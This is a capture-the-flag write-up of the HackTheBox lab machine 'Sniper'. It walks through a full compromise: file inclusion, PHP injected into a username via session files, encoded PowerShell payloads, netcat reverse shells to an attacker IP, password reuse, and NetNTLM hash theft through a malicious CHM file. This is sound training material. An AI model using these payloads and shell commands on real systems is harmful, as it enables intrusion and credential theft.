Sniper - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Sniper is a medium-difficulty Windows machine hosting a PHP-based IIS web server with critical file inclusion vulnerabilities. The attack chain begins with discovering Local File Inclusion (LFI) in the blog language parameter, which is leveraged to read PHP session files. By injecting malicious PHP code into a crafted username during registration, RCE is achieved in the context of NT AUTHORITY\IUSR. Exposed database credentials grant lateral movement to the chris user account. The final privilege escalation exploits a CHM (Compiled HTML Help) file handler monitored by the administrator, capturing their NetNTLM-v2 hash via SMB, cracking it, and gaining administrative shell access.

TL;DR: LFI → PHP Session RCE (IUSR) → Database credentials → Lateral movement (Chris) → CHM hash capture → Crack & Admin shell

Reconnaissance

Port Scanning

# Fast port discovery
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.151 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed enumeration
nmap -p$ports -sC -sV 10.10.10.151

Results:

• Port 80 (HTTP): IIS web server running Sniper Co. website
• Port 135 (RPC): Windows RPC endpoint mapper
• Port 139 (NetBIOS): Windows NetBIOS services
• Port 445 (SMB): Windows file sharing
• Port 3306 (MySQL): Database service

Service Enumeration

The web application presents a company website with:

• Login functionality with user registration
• Blog section containing language selection via GET parameter
• Blog pages loaded dynamically via ?lang= parameter
• Default IIS directory structure at C:\inetpub\wwwroot

Vulnerability Assessment

1. Local File Inclusion (LFI) in blog/?lang= parameter allows arbitrary file reading
2. Writable PHP Session Files stored in C:\Windows\TEMP as sess_<PHPSESSID>
3. Character Blacklisting Bypass via Base64 encoding
4. Exposed Database Credentials in C:\inetpub\wwwroot\user\db.php
5. CHM File Handler Exploitation for hash capture

Initial Foothold

Local File Inclusion Discovery

The blog page uses a language parameter that loads PHP files:

http://10.10.10.151/blog/?lang=blog-en.php

Testing for LFI with absolute paths:

curl -X GET "http://10.10.10.151/blog/?lang=/windows/win.ini"

This successfully reads the Windows initialization file, confirming LFI vulnerability.

PHP Session File Manipulation

Register a test account to obtain a session cookie:

• Email: test@test.test
• Username: guest
• Password: guest

After logging in, inspect the browser to extract the PHPSESSID cookie value.

PHP session files are stored in C:\Windows\TEMP\ with format sess_<PHPSESSID>. Read the session file via LFI:

curl -X GET "http://10.10.10.151/blog/?lang=/windows/temp/sess_<YOUR_PHPSESSID>"

The session file contains serialized data including the username.

Remote Code Execution via Session Injection

PHP backticks (`) execute shell commands. Craft a malicious username containing PHP code:

<?=`powershell whoami`?>

However, testing reveals certain characters are blacklisted. Create a Python script to identify forbidden characters:

import requests
import string
import random

loginurl = "http://10.10.10.151/user/login.php"
registerurl = "http://10.10.10.151/user/registration.php"

characters = string.punctuation
rand = "A" * random.randint(1, 10)

print("Blacklisted Characters: ")

for char in characters:
    original = char
    char = rand + char
    data = {'email':'test@test.test', 'username':char, 'password':char, 'submit':' '}
    r = requests.post(url=registerurl, data=data)

    data = {'username':char, 'password':char, 'submit':' '}
    r = requests.post(url=loginurl, data=data)

    if "Username/password is incorrect." in r.text:
        print(original)

Blacklisted characters: $ & ' ( - . ; [ _

Bypass using Base64 encoding with UTF-16LE (Windows default):

# Encode whoami command
echo whoami | iconv -t utf-16le | base64
# Output: dwBoAG8AYQBtAGkACgA=

Final payload:

<?=`powershell /enc dwBoAG8AYQBtAGkACgA=`?>

Reverse Shell via Netcat

Set up a local web server with Netcat binary:

sudo cp /usr/share/windows-binaries/nc.exe /var/www/html/
sudo service apache2 start

Create first payload to download Netcat:

echo "wget http://10.10.14.23/nc.exe -o C:\\Windows\\TEMP\\nc.exe" | iconv -t UTF-16LE | base64
# Output: dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAzAC8AbgBjAC4AZQB4AGUA...

Register user with payload and trigger via LFI to download Netcat.

Create second payload for reverse shell:

echo "C:\Windows\TEMP\nc.exe -e cmd.exe 10.10.14.23 1234" | iconv -t UTF-16LE | base64
# Output: QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQARQBNAFAAXABuAGMALgBlAHgAZQAgAC0AZQAgAGMAbQBkAC4A...

Start listener and execute:

nc -lvp 1234

After registering with the second payload and accessing the session file via LFI, receive shell as NT AUTHORITY\IUSR.

Privilege Escalation

Lateral Movement to Chris

Retrieve database credentials from the web application:

more C:\inetpub\wwwroot\user\db.php
# Password: 36mEAhz/B8xQ~2VM

Check for local users:

net users
# Reveals user: chris

Attempt credential reuse with PowerShell:

$password = ConvertTo-SecureString -AsPlainText -Force -String "36mEAhz/B8xQ~2VM"
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "SNIPER\chris", $password
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { whoami } -Credential $credential

Successfully authenticates as SNIPER\chris. Obtain shell by uploading Netcat:

nc -lvp 4444

$password = ConvertTo-SecureString -AsPlainText -Force -String "36mEAhz/B8xQ~2VM"
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "SNIPER\chris", $password
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { wget http://10.10.14.23/nc.exe -o C:\Users\chris\nc.exe } -Credential $credential
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc.exe -e cmd.exe 10.10.14.23 4444 } -Credential $credential

User flag located: C:\Users\chris\Desktop\user.txt

CHM File Handler Exploitation

Review CEO note in C:\Docs\:

Drop documentation here when done

Find instructions.chm in C:\Users\chris\Downloads. The administrator is likely reviewing CHM files placed in C:\Docs\.

Create malicious HTML with UNC path to trigger SMB connection:

<html>
    <body>
        <img src=\\10.10.14.23\share\abc.png />
    </body>
</html>

Save as instructions.html and compile using HTML Help Workshop (Windows machine required):

1. Download and install htmlhelp.exe
2. File → New → Project
3. Select Desktop as project folder
4. Include HTML files checkbox
5. Select instructions.html
6. Click Compile button

Transfer compiled instructions.chm back to Linux:

wget http://10.10.14.23/instructions.chm -o C:\Users\chris\instructions.chm

Start Responder to capture NetNTLM-v2 hash:

sudo python3 Responder.py -I tun0

Place CHM file in expected location:

copy C:\Users\chris\instructions.chm C:\Docs\instructions.chm

When administrator opens the CHM file, Responder captures their NetNTLM-v2 hash.

Hash Cracking and Admin Shell

Extract hash to hash.txt and crack with hashcat:

hashcat -m 5600 --force hash.txt /usr/share/wordlists/rockyou.txt
# Result: butterfly!#1

Obtain administrative shell:

nc -lvp 5555

$password = ConvertTo-SecureString -AsPlainText -Force -String "butterfly!#1"
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "SNIPER\Administrator", $password
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc.exe -e cmd.exe 10.10.14.23 5555 } -Credential $credential

Root flag located: C:\Users\Administrator\Desktop\root.txt

Attack Chain Summary

LFI (/windows/temp/sess_*) → PHP Session File Read
                          ↓
                   Inject PHP Code in Username
                          ↓
                   Base64 Encode to Bypass Blacklist
                          ↓
                   RCE as IUSR (Netcat Shell)
                          ↓
                   Extract Database Credentials
                          ↓
                   Reuse Password for Chris Account
                          ↓
                   Lateral Movement Shell (Chris)
                          ↓
                   Create Malicious CHM File
                          ↓
                   Trigger Admin to Open CHM
                          ↓
                   Capture NetNTLM-v2 Hash via SMB
                          ↓
                   Crack Hash (Hashcat/Rockyou)
                          ↓
                   Admin Shell via PSCredential
                          ↓
                   Root Flag

Tools Used

Key Learnings

Techniques Practiced

• Local File Inclusion (LFI) exploitation in PHP applications
• PHP Session File Manipulation for code injection and execution
• Character blacklist bypass via Base64/UTF-16LE encoding
• Windows default file paths and directory structures
• Credential reuse patterns in enterprise environments
• Compiled HTML Help (CHM) file format abuse
• NetNTLM-v2 hash capture via SMB UNC paths
• PowerShell credential objects for lateral movement
• Hash cracking workflows with hashcat

Lessons Learned

1. LFI is powerful on Windows systems — Absolute paths can often bypass relative path restrictions. Always test both ../ and / approaches.

2. Session files are attack surface — Any mechanism storing user-controlled data in files readable by the web application is exploitable for injection attacks.

3. Blacklisting is ineffective — Character blacklists can be bypassed through encoding. Always assume Base64, hex, or UTF-variant encoding options.

4. Credential reuse is common — Database passwords are frequently reused for user accounts in less-secure environments.

5. File type handlers are dangerous — CHM, DOCX, LNK, and other file types with handlers can leak hashes or execute code when opened.

6. SMB connections trigger authentication — Opening files from network paths forces NTLM authentication, allowing hash capture without interactive credentials.

7. PowerShell is a legitimate pentesting tool — Invoke-Command and credential objects enable seamless lateral movement on Windows systems.

8. Hash quality matters — Admin passwords using predictable patterns (real words + symbols) are crack-vulnerable with wordlists.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>